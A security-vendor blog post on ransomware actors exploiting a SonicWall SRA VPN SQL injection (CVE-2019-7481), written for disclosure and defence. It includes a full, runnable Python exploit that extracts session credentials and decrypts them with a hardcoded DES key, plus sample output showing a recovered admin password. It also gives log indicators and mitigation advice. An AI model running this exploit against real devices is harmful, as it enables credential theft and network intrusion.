How eCrime Groups Leverage an Old SonicWall Vulnerability

crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/

Heather Smith and Hanno Heinrichs June 8, 2021

BLOG UPDATE AUG. 6, 2021:

Following further communication with the SonicWall PSIRT, the vulnerability was identified as CVE-2021-20028, affecting End of Life SonicWall VPN Devices running SMA/SRA versions 8.x, 9.0.0.9-26sv and earlier. This vulnerability does not affect any of the latest available versions of firmware for the Secure Remote Access (SRA) and the Secure Mobile Access (SMA) product lines. The SonicWall PSIRT has issued the following advisory and has worked to notify affected customers: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0017.

Our original post follows.

- CrowdStrike Services incident response teams identified eCrime actors leveraging an older SonicWall VPN vulnerability, CVE-2019-7481, that affects Secure Remote Access (SRA) 4600 devices; the ability to leverage the vulnerability to affect SRA devices was previously undisclosed by SonicWall
- CrowdStrike Intelligence researchers confirmed that CVE-2019-7481 affects SRA devices running the latest versions of 8.x and 9.x firmware, and that the latest versions of Secure Mobile Access (SMA) firmware do not mitigate the CVE for SRA devices

- CrowdStrike recommends organizations always implement multifactor authentication (MFA) and replace legacy, end-of-life devices with the latest vendor-supported versions

The year 2021 has already been a busy one for vulnerability patching and management, with several new zero-day vulnerabilities impacting many companies' primary means of remote authentication in a world still working from anywhere. With increased dependency on VPN devices, it is not surprising that both eCrime and nation-state actors focus on VPN device compromise as an initial attack vector. In this blog, we discuss a 2019 exploit, CVE-2019-7481, that also affects end-of-life SonicWall SRA VPN devices running firmware versions 8.x and 9.x. CrowdStrike has identified big game hunting (BGH) ransomware actors leveraging this vulnerability against these older SonicWall SRA 4600 VPN devices during various incident response investigations.

On Feb. 4, 2021, SonicWall's Product Security Incident Response Team (PSIRT) announced a new zero-day vulnerability, CVE-2021-20016, that affects its SMA (Secure Mobile Access) devices. Within the documentation, SonicWall stated this new vulnerability affects the SMA 100 series product, and updates are required for versions running 10.x firmware. SonicWall did not state if or how this newest exploit affects any older SRA VPN devices still in production environments.

In fact, the older SRA VPN devices have not been mentioned in vulnerability disclosures since SonicWall's CVE advisories in 2017, however the December 2019 CVE vulnerabilities were referenced for SRA devices in an article from Security Week in early 2020. This article noted that the SonicWall PSIRT advisories published in 2019 only mention the SMA devices, as the SRA devices were deemed end-of-life, stating, "SonicWall SMA100 9.0.0.4 and 9.0.0.5 patch the vulnerabilities identified by the researcher."

Trends from the Front Lines

Meanwhile, on the front lines, CrowdStrike's Incident Response team has been busy battling BGH ransomware actors wreaking havoc on organizations worldwide. One of CrowdStrike's main objectives in every investigation is to answer the question: What was the initial attack vector or the root cause of the attack? Depending on dwell time and the amount of data still available, this question may not always be answered with direct evidence.

But in some recent investigations, CrowdStrike's Incident Response team has had correlative evidence indicating a root cause via VPN access without brute forcing. These investigations have a common denominator: All organizations used SonicWall SRA VPN appliances running 9.0.0.5 firmware. Further, timeline analysis of systems and network appliance data, specifically SonicWall VPN log information, showed another common denominator: The string `msg="Virtual Assist Installing Customer App"` appears in the minutes leading up to the earliest system access or compromise by the adversary.

This drove CrowdStrike's Incident Response and Intelligence teams to join forces and ask the question: Are SRA VPN devices running the latest 9.0.0.5 firmware still vulnerable to CVE-2019-7481? Moreover, are these incident response investigations potentially related to a SonicWall vulnerability against SRA devices not previously disclosed? CrowdStrike focused on looking at if the 2019 CVE, rather than the 2021 CVE, could be leveraged against SRA appliances because 1) public proof of concept and code are available for the 2019 vulnerability, and 2) CrowdStrike does not want to introduce any information that could be used by an adversary, as the 2021 vulnerability does not have proof-of-concept code publicly available at this time.

Testing CVE-2019-7481

CrowdStrike confirmed with SonicWall PSIRT that the patching recommendation for the older SRA devices is now available through SMA firmware updates, and that these devices are interchangeable. SonicWall PSIRT further stated that only devices with version 8.x are affected by CVE-2019-7481; in a public statement on this vulnerability, they further mention versions 9.0.0.3 and earlier are affected. Based on this, it stood to reason that devices with version 9.0.0.5 firmware should be considered patched to the injection vulnerability. To verify, CrowdStrike began testing the injection attack on the older SonicWall SRA 4600 device, version 9.0.0.5.

CrowdStrike Intelligence developed the following injection script in Python to test the SRA 4600 device:

```python
#!/usr/bin/env python3
#author Hanno Heinrichs

import argparse
from Cryptodome.Cipher import DES
import random
import re
import requests
from urllib.parse import urljoin


from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

MATCH_CREDS = re.compile(r'''var\s+username\s+=\s+"([^"]+)".+var\s+portalname\s+=\s+"([\d+])".+var\s+supportcode\s+=\s+"([0-9A-F]+)"''', re.MULTILINE | re.DOTALL)
USER_TYPE = {
    0: 'user',
    2: 'admin',
    3: 'admin (ro)',
}


def extract_one(s, url, i):
    data = {
        'fromEmailInvite': 1,
        'customerTID': f'unpossible\' UNION SELECT 0,0,userType,userName,0,password,0,0 FROM Sessions LIMIT 1 OFFSET {i}--',
    }
    try:
        r = s.post(url, data=data)
    except requests.exceptions.RequestException as e:
        print(e)
        return None

    if r.status_code != requests.status_codes.codes.OK:
        return None

    matched_creds = MATCH_CREDS.findall(r.text)
    assert(len(matched_creds) == 1)
    username, usertype, password = matched_creds[0]
    return (int(usertype), username, password)


def probe(s, url):
    a = random.randint(5000, 50000)
    b = random.randint(5000, 50000)
    data = {
        'fromEmailInvite': 1,
        'customerTID': f'unpossible\' UNION SELECT 0,0,0,{a}*{b},0,0,0,0--',
    }
    try:
        r = s.post(url, data=data)
    except requests.exceptions.RequestException as e:
        print(e)
```

```
        return None
    if str(a*b) in r.text:
        return True
    else:
        return False


def des_decrypt(ct):
    # .rodata:00161F17 aNw94kc01       db 'nw94kc01',0
    # -> DES_string_to_key() -> b'/O*\x86\xd5R\xf8\x80'
    key = b'/O*\x86\xd5R\xf8\x80'
    cipher = DES.new(key, DES.MODE_CBC, iv=b'\x00'*8)
    return cipher.decrypt(ct)


def decrypt_hex_to_str(h):
    pt = des_decrypt(bytes.fromhex(h))
    return pt.rstrip(b'\x00').decode()


def exploit(baseurl):
    s = requests.Session()
    s.verify = False
    s.timeout = 3
    s.headers = {
        'User-Agent': 'MSIE',
    }
    url = urljoin(baseurl, '/cgi-bin/supportInstaller')
    print('[*] Checking for SQL injection vulnerability...')
    vuln = probe(s, url)

    if not vuln:
        print('[-] not vuln')
        return
    print('[+] portal seems to be vuln \o/')

    count = 0
    for count in range(64):
        res = extract_one(s, url, count)
        if res is None:
            break
        usertype_int, username, password_enc = res
        password = decrypt_hex_to_str(password_enc)
        print(f'[+] {username}:{password} (type {usertype_int} ({USER_TYPE[usertype_int]}), pwd ciphertext: {password_enc})')
    print(f'[*] count: {count}')
    if not count:
        print(f'[-] Likely no users logged in right now :-(')


def https_check(s):
    if not s.startswith('https://'):
        raise ValueError
    return s


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('baseurl', help='https:// base URL of SonicWall SRA portal', type=https_check)
    args = parser.parse_args()

    exploit(args.baseurl)


if __name__ == '__main__':
    main()

```

(Click to enlarge)

Below is the output of the Python script showing its usage and help menu, along with the output after running against the older SRA 4600 device with 9.0.0.5 firmware:

```
$ ./cve-2019-7481.py --help
usage: cve-2019-7481.py [-h] baseurl

positional arguments:
  baseurl     https:// base URL of SonicWall SRA portal

optional arguments:
  -h, --help  show this help message and exit
$ ./cve-2019-7481.py https://192.168.2.4/
[*] Checking for SQL injection vulnerability...
[+] portal seems to be vuln \o/
[+] admin:Password$ecurity11 (type 2 (admin), pwd ciphertext:
2D0A5C61578B2D70FEA65F4C5868A8DAA2ECB2DB9D203EEE)
[*] count: 1
$
```

Executed on the SRA 4600 version 9.0.0.5, configured with test user sessions running, the results are as follows:

- The older SRA device is still vulnerable despite patching to version 9.0.0.5, the recommended patch prescribed for SMA devices in 2019.
- While this was previously thought to be a one-to-one match from older SRA to newer SMA firmware, the ability to patch SRA with SMA updates does not always appear to mitigate vulnerabilities in SRA devices.

To fully prepare environments that may still be running these devices, CrowdStrike reached out to SonicWall PSIRT with these results. SonicWall confirmed that SRA devices have been deemed end-of-life, and that the latest mitigation instruction is to update to the 10.x firmware patches provided in the latest 2021 vulnerability patching announcements that affected the SMA 100 devices.

However, this mitigation may still pose risk to an organization with end-of-life devices. CrowdStrike found that the patching thought to be applicable in a reverse-compatible manner from newer SMA to older SRA in 2019 is still able to be exploited, even with the most recent patching recommendations for the older CVE (CVE-2019-7481).

Further Analysis

To help organizations that may find themselves with these devices still in place, CrowdStrike analyzed the log output from the older SRA 4600 devices to determine if there may be an indicator of the SQL injection attack. Within the SonicWall VPN logs, there is a functionality for remote assistance called “Virtual Assist.” CrowdStrike tested the injection attack without Virtual Assist present on the SRA device and was still able to extract credentials for active

sessions on the device. Resulting logs for this activity showed two main indicators: the message field included the words “Virtual Assist Installing Customer App,” and the agent field contained “python-requests/*”. Here is an example of those log fields:

```
msg="Virtual Assist Installing Customer App" agent="python-requests/2.24.0"
```

Recommendations

CrowdStrike’s Services and Intelligence teams hope that in conducting this vulnerability analysis, we shed light on a risk that can arise from end-of-life support and on the potentially erroneous assumption that version updates fully mitigate exploits in older, untested models. While SonicWall’s recommendation is to upgrade any legacy SRA devices to the 10.x versioning recommended in light of the 2021 zero-day disclosure, CrowdStrike would additionally recommend that organizations consider replacing any legacy models for newer devices that are in-scope for vendor testing and support.

With attacker focus still heavy on remote entry points to an organization, CrowdStrike recommends a Zero Trust approach to securely operate even with ongoing threats to VPN infrastructure. CrowdStrike recommends adding two-factor authentication to VPN access and any additional remote applications, portals and email that are open to remote access. Additionally, CrowdStrike recommends organizations protect their endpoints with endpoint detection and response (EDR) software to all domain-joined systems (as are compatible) — should any attacker breach the first wall of defense, ensuring that the organization has prevention software in place to mitigate unauthorized access from moving further can make a significant difference in impact to the environment.

Lastly, If your organization still has an SRA device in place, CrowdStrike recommends following SonicWall’s PSIRT advisory to patch to the latest version of SMA 100 firmware. CrowdStrike also recommends ingesting and monitoring all VPN logs, and security teams should consider adding alerting for messages that indicate the call of “Virtual Assist” in SonicWall VPN logs.

Conclusion

While the assumption had been that SRA devices, though end-of-life, could be maintained by implementing the latest SMA firmware upgrades and vulnerability patches, CrowdStrike found that these firmware version recommendations previously considered “patched” can still be vulnerable. As the SRA devices are no longer being supported by SonicWall, an upgrade to a supported device is recommended to mitigate risk. Further, while this vulnerability allows an attacker to see session data, two-factor authentication may slow or halt an attack. CrowdStrike recommends MFA on any point of remote access into an environment.

BGH ransomware actors will continue to target VPN and remote access vulnerabilities, and defense-in-depth remains an organization's best weapon against these very opportunistic adversaries.

Additional Resources

- *For more information on CVEs you should know about, read Falcon Complete Stops Microsoft Exchange Server Zero-Day Exploits, Vulnerability Roundup: 10 Critical CVEs of 2020, and our Patch Tuesday blogs for February 2021, March 2021 and April 2021.*
- *Read more about how you can stay aware of weaknesses and vulnerabilities in your environment.*
- *A CrowdStrike IT Hygiene Assessment identifies vulnerabilities, missing patches, unprotected devices and ineffective security settings so you can proactively safeguard your network before a breach occurs.*
- *Learn how you can continuously monitor and assess the vulnerabilities in your environment with Falcon Spotlight™.*